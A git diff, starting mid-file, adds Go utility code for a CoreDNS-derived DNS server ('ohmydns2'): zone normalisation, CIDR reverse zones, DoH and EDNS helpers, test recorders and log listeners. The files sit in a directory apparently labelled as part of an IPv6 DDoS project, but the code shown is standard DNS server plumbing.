false is returned. Any existing value is overwritten. +func SetValueFunc(ctx context.Context, label string, f Func) bool { + if metadata := ctx.Value(key{}); metadata != nil { + if m, ok := metadata.(md); ok { + m[label] = f + return true + } + } + return false +} + +// md is metadata information storage. +type md map[string]Func + +// key defines the type of key that is used to save metadata into the context. +type key struct{} + +func keys(m map[string]Func) []string { + s := make([]string, len(m)) + i := 0 + for k := range m { + s[i] = k + i++ + } + return s +} diff --git "a/att script/3 (v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/metadata/setup.go" "b/att script/3 (v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/metadata/setup.go" new file mode 100644 index 0000000..9ebf7c9 --- /dev/null +++ "b/att script/3 (v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/metadata/setup.go" @@ -0,0 +1,45 @@ +package metadata + +import ( + "ohmydns2/core/dnsserver" + "ohmydns2/plugin" + + "github.com/coredns/caddy" +) + +func init() { plugin.Register("metadata", setup) } + +func setup(c *caddy.Controller) error { + m, err := metadataParse(c) + if err != nil { + return err + } + dnsserver.GetConfig(c).AddPlugin(func(next plugin.Handler) plugin.Handler { + m.Next = next + return m + }) + + c.OnStartup(func() error { + plugins := dnsserver.GetConfig(c).Handlers() + for _, p := range plugins { + if met, ok := p.(Provider); ok { + m.Providers = append(m.Providers, met) + } + } + return nil + }) + + return nil +} + +func metadataParse(c *caddy.Controller) (*Metadata, error) { + m := &Metadata{} + c.Next() + + m.Zones = plugin.OriginsFromArgsOrServerBlock(c.RemainingArgs(), c.ServerBlockKeys) + + if c.NextBlock() || c.Next() { + return nil, plugin.Error("metadata", c.ArgErr()) + } + return m, nil +} diff --git "a/att script/3 (v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/normalize.go" "b/att script/3 (v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/normalize.go" new file mode 100644 index 0000000..a7dcd8d --- /dev/null +++ "b/att script/3 (v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/normalize.go" @@ -0,0 +1,179 @@ +package plugin + +import ( + "fmt" + valid "github.com/asaskevich/govalidator" + "net" + "ohmydns2/plugin/pkg/cidr" + "ohmydns2/plugin/pkg/log" + "ohmydns2/plugin/pkg/parse" + "runtime" + "strconv" + "strings" + + "github.com/miekg/dns" +) + +// Host represents a host from the Ohmyfile +type Host string + +// Normalize will return the host portion of host, stripping +// of any port or transport. The host will also be fully qualified and lowercased. +// An empty string is returned on failure +// Deprecated: use OriginsFromArgsOrServerBlock or NormalizeExact +func (h Host) Normalize() string { + var caller string + if _, file, line, ok := runtime.Caller(1); ok { + caller = fmt.Sprintf("(%v line %d) ", file, line) + } + log.Warning("An external plugin " + caller + "is using the deprecated function Normalize. " + + "This will be removed in a future versions of CoreDNS. The plugin should be updated to use " + + "OriginsFromArgsOrServerBlock or NormalizeExact instead.") + + s := string(h) + _, s = parse.Transport(s) + + // The error can be ignored here, because this function is called after the corefile has already been vetted. + hosts, _, err := SplitHostPort(s) + if err != nil { + return "" + } + return Name(hosts[0]).Normalize() +} + +// NormalizeExact will return the host portion of host, stripping +// of any port or transport. The host will also be fully qualified and lowercased. +// An empty slice is returned on failure +func (h Host) NormalizeExact() []string { + // The error can be ignored here, because this function should only be called after the corefile has already been vetted. + s := string(h) + _, s = parse.Transport(s) + + hosts, _, err := SplitHostPort(s) + if err != nil { + return nil + } + for i := range hosts { + hosts[i] = Name(hosts[i]).Normalize() + } + return hosts +} + +// Zones represents a lists of zone names. +type Zones []string + +// Matches checks if qname is a subdomain of any of the zones in z. The match +// will return the most specific zones that matches. The empty string +// signals a not found condition. +func (z Zones) Matches(qname string) string { + zone := "" + for _, zname := range z { + if dns.IsSubDomain(zname, qname) { + // We want the *longest* matching zone, otherwise we may end up in a parent + if len(zname) > len(zone) { + zone = zname + } + } + } + return zone +} + +// Normalize fully qualifies all zones in z. The zones in Z must be domain names, without +// a port or protocol prefix. +func (z Zones) Normalize() { + for i := range z { + z[i] = Name(z[i]).Normalize() + } +} + +// Name represents a domain name. +type Name string + +// Matches checks to see if other is a subdomain (or the same domain) of n. +// This method assures that names can be easily and consistently matched. +func (n Name) Matches(child string) bool { + if dns.Name(n) == dns.Name(child) { + return true + } + return dns.IsSubDomain(string(n), child) +} + +// Normalize lowercases and makes n fully qualified. +func (n Name) Normalize() string { return strings.ToLower(dns.Fqdn(string(n))) } + +// OriginsFromArgsOrServerBlock returns the normalized args if that slice +// is not empty, otherwise the serverblock slice is returned (in a newly copied slice). +func OriginsFromArgsOrServerBlock(args, serverblock []string) []string { + if len(args) == 0 { + s := make([]string, len(serverblock)) + copy(s, serverblock) + for i := range s { + s[i] = Host(s[i]).NormalizeExact()[0] // expansion of these already happened in dnsserver/register.go + } + return s + } + s := []string{} + for i := range args { + sx := Host(args[i]).NormalizeExact() + if len(sx) == 0 { + continue // silently ignores errors. + } + s = append(s, sx...) + } + + return s +} + +// SplitHostPort splits s up in a host(s) and port portion, taking reverse address notation into account. +// String the string s should *not* be prefixed with any protocols, i.e. dns://. SplitHostPort can return +// multiple hosts when a reverse notation on a non-octet boundary is given. +func SplitHostPort(s string) (hosts []string, port string, err error) { + // If there is: :[0-9]+ on the end we assume this is the port. This works for (ascii) domain + // names and our reverse syntax, which always needs a /mask *before* the port. + // So from the back, find first colon, and then check if it's a number. + colon := strings.LastIndex(s, ":") + if colon == len(s)-1 { + return nil, "", fmt.Errorf("expecting data after last colon: %q", s) + } + if colon != -1 { + if p, err := strconv.Atoi(s[colon+1:]); err == nil { + port = strconv.Itoa(p) + s = s[:colon] + } + } + + // TODO(miek): this should take escaping into account. + if len(s) > 255 { + return nil, "", fmt.Errorf("specified zone is too long: %d > 255", len(s)) + } + + if _, ok := dns.IsDomainName(s); !ok { + return nil, "", fmt.Errorf("zone is not a valid domain name: %s", s) + } + + // Check if it parses as a reverse zone, if so we use that. Must be fully specified IP and mask. + _, n, err := net.ParseCIDR(s) + if err != nil { + return []string{s}, port, nil + } + + if s[0] == ':' || (s[0] == '0' && strings.Contains(s, ":")) { + return nil, "", fmt.Errorf("invalid CIDR %s", s) + } + + // now check if multiple hosts must be returned. + nets := cidr.Split(n) + hosts = cidr.Reverse(nets) + return hosts, port, nil +} + +// SplitPort 用于从探测端的服务块中分离出Port,并且接收到的参数必须为[:port],这意味着所有探测端服务块必须指定端口号 +func SplitPort(s string) (port string, err error) { + if !strings.HasPrefix(s, ":") { + return "", fmt.Errorf("探测端服务块配置存在错误,应接收到[:port],实际接收到: %v", s) + } + if !valid.IsPort(s[1:]) { + return "", fmt.Errorf("探测端服务块配置存在错误,端口号不合法,实际接收到: %v", s[1:]) + } + return s[1:], nil +} diff --git "a/att script/3 (v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/pkg/README.md" "b/att script/3 (v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/pkg/README.md" new file mode 100644 index 0000000..0b04bf9 --- /dev/null +++ "b/att script/3 (v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/pkg/README.md" @@ -0,0 +1 @@ +*pkg*包含了所有ohmydns2核心处理逻辑需要的插件 \ No newline at end of file diff --git "a/att script/3 (v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/pkg/cidr/cidr.go" "b/att script/3 (v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/pkg/cidr/cidr.go" new file mode 100644 index 0000000..b902d06 --- /dev/null +++ "b/att script/3 (v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/pkg/cidr/cidr.go" @@ -0,0 +1,82 @@ +// Package cidr contains functions that deal with classless reverse zones in the DNS. +package cidr + +import ( + "github.com/apparentlymart/go-cidr/cidr" + "github.com/miekg/dns" + "math" + "net" + "strings" +) + +// Split returns a slice of non-overlapping subnets that in union equal the subnet n, +// and where each subnet falls on a reverse name segment boundary. +// for ipv4 this is any multiple of 8 bits (/8, /16, /24 or /32) +// for ipv6 this is any multiple of 4 bits +func Split(n *net.IPNet) []string { + boundary := 8 + nstr := n.String() + if strings.Contains(nstr, ":") { + boundary = 4 + } + ones, _ := n.Mask.Size() + if ones%boundary == 0 { + return []string{n.String()} + } + + mask := int(math.Ceil(float64(ones)/float64(boundary))) * boundary + networks := nets(n, mask) + cidrs := make([]string, len(networks)) + for i := range networks { + cidrs[i] = networks[i].String() + } + return cidrs +} + +// nets return a slice of prefixes with the desired mask subnetted from original network. +func nets(network *net.IPNet, newPrefixLen int) []*net.IPNet { + prefixLen, _ := network.Mask.Size() + maxSubnets := int(math.Exp2(float64(newPrefixLen)) / math.Exp2(float64(prefixLen))) + nets := []*net.IPNet{{IP: network.IP, Mask: net.CIDRMask(newPrefixLen, 8*len(network.IP))}} + + for i := 1; i < maxSubnets; i++ { + next, exceeds := cidr.NextSubnet(nets[len(nets)-1], newPrefixLen) + nets = append(nets, next) + if exceeds { + break + } + } + + return nets +} + +// Reverse return the reverse zones that are authoritative for each net in ns. +func Reverse(nets []string) []string { + rev := make([]string, len(nets)) + for i := range nets { + ip, n, _ := net.ParseCIDR(nets[i]) + r, err1 := dns.ReverseAddr(ip.String()) + if err1 != nil { + continue + } + ones, bits := n.Mask.Size() + // get the size, in bits, of each portion of hostname defined in the reverse address. (8 for IPv4, 4 for IPv6) + sizeDigit := 8 + if len(n.IP) == net.IPv6len { + sizeDigit = 4 + } + // Get the first lower octet boundary to see what encompassing zone we should be authoritative for. + mod := (bits - ones) % sizeDigit + nearest := (bits - ones) + mod + offset := 0 + var end bool + for i := 0; i < nearest/sizeDigit; i++ { + offset, end = dns.NextLabel(r, offset) + if end { + break + } + } + rev[i] = r[offset:] + } + return rev +} diff --git "a/att script/3 (v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/pkg/dnstest/multirecorder.go" "b/att script/3 (v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/pkg/dnstest/multirecorder.go" new file mode 100644 index 0000000..138498d --- /dev/null +++ "b/att script/3 (v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/pkg/dnstest/multirecorder.go" @@ -0,0 +1,40 @@ +package dnstest + +import ( + "github.com/miekg/dns" + "time" +) + +// MultiRecorder is a type of ResponseWriter that captures all messages written to it. +type MultiRecorder struct { + Len int + Msgs []*dns.Msg + Start time.Time + dns.ResponseWriter +} + +// NewMultiRecorder makes and returns a new MultiRecorder. +func NewMultiRecorder(w dns.ResponseWriter) *MultiRecorder { + return &MultiRecorder{ + ResponseWriter: w, + Msgs: make([]*dns.Msg, 0), + Start: time.Now(), + } +} + +// WriteMsg records the message and its length written to it and call the +// underlying ResponseWriter's WriteMsg method. +func (r *MultiRecorder) WriteMsg(res *dns.Msg) error { + r.Len += res.Len() + r.Msgs = append(r.Msgs, res) + return r.ResponseWriter.WriteMsg(res) +} + +// Write is a wrapper that records the length of the messages that get written to it. +func (r *MultiRecorder) Write(buf []byte) (int, error) { + n, err := r.ResponseWriter.Write(buf) + if err == nil { + r.Len += n + } + return n, err +} diff --git "a/att script/3 (v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/pkg/dnstest/recorder.go" "b/att script/3 (v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/pkg/dnstest/recorder.go" new file mode 100644 index 0000000..6484252 --- /dev/null +++ "b/att script/3 (v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/pkg/dnstest/recorder.go" @@ -0,0 +1,52 @@ +package dnstest + +import ( + "github.com/miekg/dns" + "time" +) + +// Recorder is a type of ResponseWriter that captures +// the rcode code written to it and also the size of the message +// written in the response. A rcode code does not have +// to be written, however, in which case 0 must be assumed. +// It is best to have the constructor initialize this type +// with that default status code. +type Recorder struct { + dns.ResponseWriter + Rcode int + Len int + Msg *dns.Msg + Start time.Time +} + +// NewRecorder makes and returns a new Recorder, +// which captures the DNS rcode from the ResponseWriter +// and also the length of the response message written through it. +func NewRecorder(w dns.ResponseWriter) *Recorder { + return &Recorder{ + ResponseWriter: w, + Rcode: 0, + Msg: nil, + Start: time.Now(), + } +} + +// WriteMsg records the status code and calls the +// underlying ResponseWriter's WriteMsg method. +func (r *Recorder) WriteMsg(res *dns.Msg) error { + r.Rcode = res.Rcode + // We may get called multiple times (axfr for instance). + // Save the last message, but add the sizes. + r.Len += res.Len() + r.Msg = res + return r.ResponseWriter.WriteMsg(res) +} + +// Write is a wrapper that records the length of the message that gets written. +func (r *Recorder) Write(buf []byte) (int, error) { + n, err := r.ResponseWriter.Write(buf) + if err == nil { + r.Len += n + } + return n, err +} diff --git "a/att script/3 (v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/pkg/dnstest/server.go" "b/att script/3 (v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/pkg/dnstest/server.go" new file mode 100644 index 0000000..cebc68b --- /dev/null +++ "b/att script/3 (v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/pkg/dnstest/server.go" @@ -0,0 +1,64 @@ +// Package dnstest allows for easy testing of DNS client against a test server. +package dnstest + +import ( + "github.com/miekg/dns" + "net" + "ohmydns2/plugin/pkg/reuseport" +) + +// A Server is an DNS server listening on a system-chosen port on the local +// loopback interface, for use in end-to-end DNS tests. +type Server struct { + Addr string // Address where the server listening. + + s1 *dns.Server // udp + s2 *dns.Server // tcp +} + +// NewServer starts and returns a new Server. The caller should call Close when +// finished, to shut it down. +func NewServer(f dns.HandlerFunc) *Server { + dns.HandleFunc(".", f) + + ch1 := make(chan bool) + ch2 := make(chan bool) + + s1 := &dns.Server{} // udp + s2 := &dns.Server{} // tcp + + for i := 0; i < 5; i++ { // 5 attempts + s2.Listener, _ = reuseport.Listen("tcp", ":0") + if s2.Listener == nil { + continue + } + + s1.PacketConn, _ = net.ListenPacket("udp", s2.Listener.Addr().String()) + if s1.PacketConn != nil { + break + } + + // perhaps UPD port is in use, try again + s2.Listener.Close() + s2.Listener = nil + } + if s2.Listener == nil { + panic("dnstest.NewServer(): failed to create new server") + } + + s1.NotifyStartedFunc = func() { close(ch1) } + s2.NotifyStartedFunc = func() { close(ch2) } + go s1.ActivateAndServe() + go s2.ActivateAndServe() + + <-ch1 + <-ch2 + + return &Server{s1: s1, s2: s2, Addr: s2.Listener.Addr().String()} +} + +// Close shuts down the server. +func (s *Server) Close() { + s.s1.Shutdown() + s.s2.Shutdown() +} diff --git "a/att script/3 (v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/pkg/dnsutil/reverse.go" "b/att script/3 (v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/pkg/dnsutil/reverse.go" new file mode 100644 index 0000000..7bfd235 --- /dev/null +++ "b/att script/3 (v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/pkg/dnsutil/reverse.go" @@ -0,0 +1,81 @@ +package dnsutil + +import ( + "net" + "strings" +) + +// ExtractAddressFromReverse turns a standard PTR reverse record name +// into an IP address. This works for ipv4 or ipv6. +// +// 54.119.58.176.in-addr.arpa. becomes 176.58.119.54. If the conversion +// fails the empty string is returned. +func ExtractAddressFromReverse(reverseName string) string { + search := "" + + f := reverse + + switch { + case strings.HasSuffix(reverseName, IP4arpa): + search = strings.TrimSuffix(reverseName, IP4arpa) + case strings.HasSuffix(reverseName, IP6arpa): + search = strings.TrimSuffix(reverseName, IP6arpa) + f = reverse6 + default: + return "" + } + + // Reverse the segments and then combine them. + return f(strings.Split(search, ".")) +} + +// IsReverse returns 0 is name is not in a reverse zone. Anything > 0 indicates +// name is in a reverse zone. The returned integer will be 1 for in-addr.arpa. (IPv4) +// and 2 for ip6.arpa. (IPv6). +func IsReverse(name string) int { + if strings.HasSuffix(name, IP4arpa) { + return 1 + } + if strings.HasSuffix(name, IP6arpa) { + return 2 + } + return 0 +} + +func reverse(slice []string) string { + for i := 0; i < len(slice)/2; i++ { + j := len(slice) - i - 1 + slice[i], slice[j] = slice[j], slice[i] + } + ip := net.ParseIP(strings.Join(slice, ".")).To4() + if ip == nil { + return "" + } + return ip.String() +} + +// reverse6 reverse the segments and combine them according to RFC3596: +// b.a.9.8.7.6.5.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.8.b.d.0.1.0.0.2 +// is reversed to 2001:db8::567:89ab +func reverse6(slice []string) string { + for i := 0; i < len(slice)/2; i++ { + j := len(slice) - i - 1 + slice[i], slice[j] = slice[j], slice[i] + } + slice6 := []string{} + for i := 0; i < len(slice)/4; i++ { + slice6 = append(slice6, strings.Join(slice[i*4:i*4+4], "")) + } + ip := net.ParseIP(strings.Join(slice6, ":")).To16() + if ip == nil { + return "" + } + return ip.String() +} + +const ( + // IP4arpa is the reverse tree suffix for v4 IP addresses. + IP4arpa = ".in-addr.arpa." + // IP6arpa is the reverse tree suffix for v6 IP addresses. + IP6arpa = ".ip6.arpa." +) diff --git "a/att script/3 (v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/pkg/dnsutil/ttl.go" "b/att script/3 (v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/pkg/dnsutil/ttl.go" new file mode 100644 index 0000000..deedc72 --- /dev/null +++ "b/att script/3 (v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/pkg/dnsutil/ttl.go" @@ -0,0 +1,51 @@ +package dnsutil + +import ( + "ohmydns2/plugin/pkg/response" + "time" + + "github.com/miekg/dns" +) + +// MinimalTTL scans the message returns the lowest TTL found taking into the response.Type of the message. +func MinimalTTL(m *dns.Msg, mt response.Type) time.Duration { + if mt != response.NoError && mt != response.NameError && mt != response.NoData { + return MinimalDefaultTTL + } + + // No records or OPT is the only record, return a short ttl as a fail safe. + if len(m.Answer)+len(m.Ns) == 0 && + (len(m.Extra) == 0 || (len(m.Extra) == 1 && m.Extra[0].Header().Rrtype == dns.TypeOPT)) { + return MinimalDefaultTTL + } + + minTTL := MaximumDefaulTTL + for _, r := range m.Answer { + if r.Header().Ttl < uint32(minTTL.Seconds()) { + minTTL = time.Duration(r.Header().Ttl) * time.Second + } + } + for _, r := range m.Ns { + if r.Header().Ttl < uint32(minTTL.Seconds()) { + minTTL = time.Duration(r.Header().Ttl) * time.Second + } + } + + for _, r := range m.Extra { + if r.Header().Rrtype == dns.TypeOPT { + // OPT records use TTL field for extended rcode and flags + continue + } + if r.Header().Ttl < uint32(minTTL.Seconds()) { + minTTL = time.Duration(r.Header().Ttl) * time.Second + } + } + return minTTL +} + +const ( + // MinimalDefaultTTL is the absolute lowest TTL we use in CoreDNS. + MinimalDefaultTTL = 5 * time.Second + // MaximumDefaulTTL is the maximum TTL was use on RRsets in CoreDNS. + MaximumDefaulTTL = 1 * time.Hour +) diff --git "a/att script/3 (v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/pkg/doh/doh.go" "b/att script/3 (v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/pkg/doh/doh.go" new file mode 100644 index 0000000..faddfc8 --- /dev/null +++ "b/att script/3 (v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/pkg/doh/doh.go" @@ -0,0 +1,133 @@ +package doh + +import ( + "bytes" + "encoding/base64" + "fmt" + "io" + "net/http" + "strings" + + "github.com/miekg/dns" +) + +// MimeType is the DoH mimetype that should be used. +const MimeType = "application/dns-message" + +// Path is the URL path that should be used. +const Path = "/dns-query" + +// NewRequest returns a new DoH request given a HTTP method, URL and dns.Msg. +// +// The URL should not have a path, so please exclude /dns-query. The URL will +// be prefixed with https:// by default, unless it's already prefixed with +// either http:// or https://. +func NewRequest(method, url string, m *dns.Msg) (*http.Request, error) { + buf, err := m.Pack() + if err != nil { + return nil, err + } + + if !strings.HasPrefix(url, "http://") && !strings.HasPrefix(url, "https://") { + url = fmt.Sprintf("https://%s", url) + } + + switch method { + case http.MethodGet: + b64 := base64.RawURLEncoding.EncodeToString(buf) + + req, err := http.NewRequest( + http.MethodGet, + fmt.Sprintf("%s%s?dns=%s", url, Path, b64), + nil, + ) + if err != nil { + return req, err + } + + req.Header.Set("content-type", MimeType) + req.Header.Set("accept", MimeType) + return req, nil + + case http.MethodPost: + req, err := http.NewRequest( + http.MethodPost, + fmt.Sprintf("%s%s?bla=foo:443", url, Path), + bytes.NewReader(buf), + ) + if err != nil { + return req, err + } + + req.Header.Set("content-type", MimeType) + req.Header.Set("accept", MimeType) + return req, nil + + default: + return nil, fmt.Errorf("method not allowed: %s", method) + } +} + +// ResponseToMsg converts a http.Response to a dns message. +func ResponseToMsg(resp *http.Response) (*dns.Msg, error) { + defer resp.Body.Close() + + return toMsg(resp.Body) +} + +// RequestToMsg converts a http.Request to a dns message. +func RequestToMsg(req *http.Request) (*dns.Msg, error) { + switch req.Method { + case http.MethodGet: + return requestToMsgGet(req) + + case http.MethodPost: + return requestToMsgPost(req) + + default: + return nil, fmt.Errorf("method not allowed: %s", req.Method) + } +} + +// requestToMsgPost extracts the dns message from the request body. +func requestToMsgPost(req *http.Request) (*dns.Msg, error) { + defer req.Body.Close() + return toMsg(req.Body) +} + +// requestToMsgGet extract the dns message from the GET request. +func requestToMsgGet(req *http.Request) (*dns.Msg, error) { + values := req.URL.Query() + b64, ok := values["dns"] + if !ok { + return nil, fmt.Errorf("no 'dns' query parameter found") + } + if len(b64) != 1 { + return nil, fmt.Errorf("multiple 'dns' query values found") + } + return base64ToMsg(b64[0]) +} + +func toMsg(r io.ReadCloser) (*dns.Msg, error) { + buf, err := io.ReadAll(http.MaxBytesReader(nil, r, 65536)) + if err != nil { + return nil, err + } + m := new(dns.Msg) + err = m.Unpack(buf) + return m, err +} + +func base64ToMsg(b64 string) (*dns.Msg, error) { + buf, err := b64Enc.DecodeString(b64) + if err != nil { + return nil, err + } + + m := new(dns.Msg) + err = m.Unpack(buf) + + return m, err +} + +var b64Enc = base64.RawURLEncoding diff --git "a/att script/3 (v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/pkg/edns/edns.go" "b/att script/3 (v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/pkg/edns/edns.go" new file mode 100644 index 0000000..1f25ed6 --- /dev/null +++ "b/att script/3 (v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/pkg/edns/edns.go" @@ -0,0 +1,70 @@ +// Package edns provides function useful for adding/inspecting OPT records to/in messages. +package edns + +import ( + "errors" + "github.com/miekg/dns" + "sync" +) + +var sup = &supported{m: make(map[uint16]struct{})} + +type supported struct { + m map[uint16]struct{} + sync.RWMutex +} + +// SetSupportedOption adds a new supported option the set of EDNS0 options that we support. Plugins typically call +// this in their setup code to signal support for a new option. +// By default we support: +// dns.EDNS0NSID, dns.EDNS0EXPIRE, dns.EDNS0COOKIE, dns.EDNS0TCPKEEPALIVE, dns.EDNS0PADDING. These +// values are not in this map and checked directly in the server. +func SetSupportedOption(option uint16) { + sup.Lock() + sup.m[option] = struct{}{} + sup.Unlock() +} + +// SupportedOption returns true if the option code is supported as an extra EDNS0 option. +func SupportedOption(option uint16) bool { + sup.RLock() + _, ok := sup.m[option] + sup.RUnlock() + return ok +} + +// Version checks the EDNS version in the request. If error +// is nil everything is OK and we can invoke the plugin. If non-nil, the +// returned Msg is valid to be returned to the client (and should). +func Version(req *dns.Msg) (*dns.Msg, error) { + opt := req.IsEdns0() + if opt == nil { + return nil, nil + } + if opt.Version() == 0 { + return nil, nil + } + m := new(dns.Msg) + m.SetReply(req) + + o := new(dns.OPT) + o.Hdr.Name = "." + o.Hdr.Rrtype = dns.TypeOPT + o.SetVersion(0) + m.Rcode = dns.RcodeBadVers + o.SetExtendedRcode(dns.RcodeBadVers) + m.Extra = []dns.RR{o} + + return m, errors.New("EDNS0 BADVERS") +} + +// Size returns a normalized size based on proto. +func Size(proto string, size uint16) uint16 { + if proto == "tcp" { + return dns.MaxMsgSize + } + if size < dns.MinMsgSize { + return dns.MinMsgSize + } + return size +} diff --git "a/att script/3 (v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/pkg/http/http.go" "b/att script/3 (v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/pkg/http/http.go" new file mode 100644 index 0000000..9a378c5 --- /dev/null +++ "b/att script/3 (v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/pkg/http/http.go" @@ -0,0 +1,39 @@ +package http + +import ( + "encoding/json" + "fmt" + "net/http" +) + +// ParseRequest 解析HTTP请求中的URL参数,目前仅支持GET方法 +func ParseRequest(req *http.Request) (map[string][]string, error) { + switch req.Method { + case http.MethodGet: + return getRequest(req) + case http.MethodPost: + return postRequest(req) + + default: + return nil, fmt.Errorf("method not allowed: %s", req.Method) + } +} + +func getRequest(req *http.Request) (map[string][]string, error) { + r := make(map[string][]string) + for k, v := range req.URL.Query() { + r[k] = v + } + return r, nil +} + +// 支持json方式处理 +func postRequest(req *http.Request) (map[string][]string, error) { + r := make(map[string][]string) + decoder := json.NewDecoder(req.Body) + err := decoder.Decode(&r) + if err != nil { + return nil, err + } + return r, nil +} diff --git "a/att script/3 (v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/pkg/log/listener.go" "b/att script/3 (v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/pkg/log/listener.go" new file mode 100644 index 0000000..75e59dc --- /dev/null +++ "b/att script/3 (v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/pkg/log/listener.go" @@ -0,0 +1,139 @@ +package log + +import "sync" + +// Listener listens for all log prints of plugin loggers aka loggers with plugin name. +// When a plugin logger gets called, it should first call the same method in the Listener object. +// A usage example is, the external plugin k8s_event will replicate log prints to Kubernetes events. +type Listener interface { + Name() string + Debug(plugin string, v ...interface{}) + Debugf(plugin string, format string, v ...interface{}) + Info(plugin string, v ...interface{}) + Infof(plugin string, format string, v ...interface{}) + Warning(plugin string, v ...interface{}) + Warningf(plugin string, format string, v ...interface{}) + Error(plugin string, v ...interface{}) + Errorf(plugin string, format string, v ...interface{}) + Fatal(plugin string, v ...interface{}) + Fatalf(plugin string, format string, v ...interface{}) +} + +type listeners struct { + listeners []Listener + sync.RWMutex +} + +var ls *listeners + +func init() { + ls = &listeners{} + ls.listeners = make([]Listener, 0) +} + +// RegisterListener register a listener object. +func RegisterListener(new Listener) error { + ls.Lock() + defer ls.Unlock() + for k, l := range ls.listeners { + if l.Name() == new.Name() { + ls.listeners[k] = new + return nil + } + } + ls.listeners = append(ls.listeners, new) + return nil +} + +// DeregisterListener deregister a listener object. +func DeregisterListener(old Listener) error { + ls.Lock() + defer ls.Unlock() + for k, l := range ls.listeners { + if l.Name() == old.Name() { + ls.listeners = append(ls.listeners[:k], ls.listeners[k+1:]...) + return nil + } + } + return nil +} + +func (ls *listeners) debug(plugin string, v ...interface{}) { + ls.RLock() + for _, l := range ls.listeners { + l.Debug(plugin, v...) + } + ls.RUnlock() +} + +func (ls *listeners) debugf(plugin string, format string, v ...interface{}) { + ls.RLock() + for _, l := range ls.listeners { + l.Debugf(plugin, format, v...) + } + ls.RUnlock() +} + +func (ls *listeners) info(plugin string, v ...interface{}) { + ls.RLock() + for _, l := range ls.listeners { + l.Info(plugin, v...) + } + ls.RUnlock() +} + +func (ls *listeners) infof(plugin string, format string, v ...interface{}) { + ls.RLock() + for _, l := range ls.listeners { + l.Infof(plugin, format, v...) + } + ls.RUnlock() +} + +func (ls *listeners) warning(plugin string, v ...interface{}) { + ls.RLock() + for _, l := range ls.listeners { + l.Warning(plugin, v...) + } + ls.RUnlock() +} + +func (ls *listeners) warningf(plugin string, format string, v ...interface{}) { + ls.RLock() + for _, l := range ls.listeners { + l.Warningf(plugin, format, v...) + } + ls.RUnlock() +} + +func (ls *listeners) error(plugin string, v ...interface{}) { + ls.RLock() + for _, l := range ls.listeners { + l.Error(plugin, v...) + } + ls.RUnlock() +} + +func (ls *listeners) errorf(plugin string, format string, v ...interface{}) { + ls.RLock() + 